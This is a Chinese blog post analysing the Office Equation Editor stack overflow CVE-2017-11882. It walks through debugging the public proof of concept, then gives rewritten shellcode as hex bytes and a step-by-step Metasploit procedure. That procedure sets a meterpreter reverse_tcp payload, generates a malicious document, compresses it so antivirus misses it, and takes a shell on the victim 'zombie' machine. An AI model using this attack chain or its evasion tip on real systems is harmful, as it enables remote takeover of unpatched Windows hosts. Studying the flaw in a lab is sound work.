• 3 CVE-2017-11882漏洞分析


    CVE-2017-11882漏洞分析

    操作系统:Windows7 32/64位 专业版、Linux

    软件:office 2003 sp3

    工具:OD、IDA、Python模块、msfconsole

    1漏洞分析:

    获取POC:

    https://github.com/embedi/CVE-2017-11882 下载即可

    打开例程,发现文档打开了计算器,应该是ShellCode。

    查找漏洞点:

    打开Microsoft Word 2003,快捷键Alt+i+o(插入、对象)打开Microsoft 公式 3.0,使用OD附加(附加后,线程,全部恢复,运行)快捷键 Alt+f+a,打开poc例程。(OD所有关于异常的选项去掉,插件-StrongOD-Options-Skip Some Exceptions去掉,不然无法断下)。

    通过栈向上查找最近的函数地址

    clip_image001

    下断点重新附加

    clip_image003

    重新加载再次进行附加

    clip_image004

    再次进行附加发现程序在运行到WinExec时已经破坏了栈,对栈进行向上回述

    clip_image005

    在此函数处下断点,再次进行附加程序运行观察栈已经破坏则在反汇编窗口在此函数的头部下断点,重新附加观察

    clip_image007

    此时栈是完整的,可以断定栈的破坏点在此时程序流程点的后面进行单步跟踪(F8)观察栈的变化找出溢出点。

    clip_image009

    clip_image010

    通过Alt+e查找溢出模块,载入IDA进行静态分析

    clip_image012

    通过溢出点在IDA快捷键 g地址跳转F5转C代码查看分析

    clip_image014

    分析poc的ShellCode:

    在OD中查看ShellCode信息

    clip_image016

    通过010editor进行分析:

    clip_image018

    2漏洞利用:

    改写ShellCode运行时弹出百度网页。

    clip_image020

    关于ShellCode的改写:

    在OD中的Ctrl+e进行二进制编写,注意ShellCode大小,0x30预留4字节的返回地址。

    机器码:

    636D642E657865202F63206578706C6F7265722E65786520687474703A2F2F62616964752E636F6D266F6D73120C4300

    使用 msfconsole进行远程控制的利用

    相关poc获取:https://github.com/embedi/CVE-2017-11882

    准备工作:

    1. 在Linux虚拟机上运行 msfconsole

    clip_image022

    2. 使用apt update;

    apt intsall metasploit-framework

    3. 将cve-2017-11882.rb(漏洞模块,负责与样本通信)

    在终端输入cp指令:

    绝对路径拷贝:

    clip_image024

    相对路径拷贝:cd到文件所在目录

    cp CVE-2017-11882.rb /usr/share/metasploitframework/modules/exploits/windows/fileformat

    拷贝到相关文件夹

    4. 将python脚本 CVE-2017-11882.py拷贝到桌面

    开始攻击:

    使用Kali Metasploit准备后门,监听程序

    1. 进入metasploit-framework

    命令:msfconsole 启动命令

    2. Search cve-2017-11882

    clip_image026

    3. 使用模块:use exploit/windows/fileformat/cve-2017-11882

    clip_image028

    4. 设置漏洞利用信息,包括payloar类型,IP(Linux使用ifconfig查看IP,Win使用ipconfig查看IP)

    clip_image030

    set payload windows/meterpteter/reverse_tcp

    clip_image032

    clip_image034

    show options(显示必要设置的选项,查看有无漏项)

    clip_image036

    5. 开始攻击

    exploit

    clip_image037

    6. 使用CVE-2017-11882.py脚本生成样本

    clip_image039

    7. 压缩文件不然可能会被查杀

    拷贝到win7 64位 专业版 使用office3 sp3打开

    8. 等待肉机链接

    在win7打开文件显示的内容

    clip_image041

    9. 链接之后使用sessions查看链接信息

    clip_image043

    10. 使用sessions 1 进入sessions,开始后门操作

    clip_image044

    连接成功

    11. 命令:shell进入shell

    clip_image045

    出现乱码,使用 chcp 65001 即可

    clip_image046

    此时即可使用windows shell命令控制肉机

    退出shell

    clip_image047

    截屏要退出来才可以截屏

    clip_image048

    截屏图片

    clip_image050

    一些其他命令

    show sessions:显示会话

    sessions x:进入会话

    background:会话返回

    back:退出模块

    在msf下 exit:退出

    3总结:

    1. 此漏洞是使用系统的WinExec函数开启线程的

    2. 漏洞的产生是因为内存拷贝时空间大小设计时没有考虑到位产生的栈溢出淹没了原返回地址

    3. 因为程序间隔较近,此漏洞的shellcode空间只用0x30大小但对于使用系统WinExec创建线程来讲已经够用

    4. 此漏洞是2000年就存在的陈年漏洞但危害很大,甚至可以用来远程控制电脑。

  • 相关阅读:
    WPF自定义RoutedEvent事件代码段
    微信聊天和通讯录按钮样式
    【转】c#、wpf 字符串,color,brush之间的转换
    模块式开发
    通过属性进行浅拷贝
    【转】string.Format对C#字符串格式化
    酷学习笔记——前言
    C# 连蒙带骗不知所以然的搞定USB下位机读写
    C# Ioc、DI、Unity、TDD的一点想法和实践
    虹软人脸识别速度测试征集
  • 原文地址:https://www.cnblogs.com/heixiang/p/10985091.html
Copyright © 2020-2023  润新知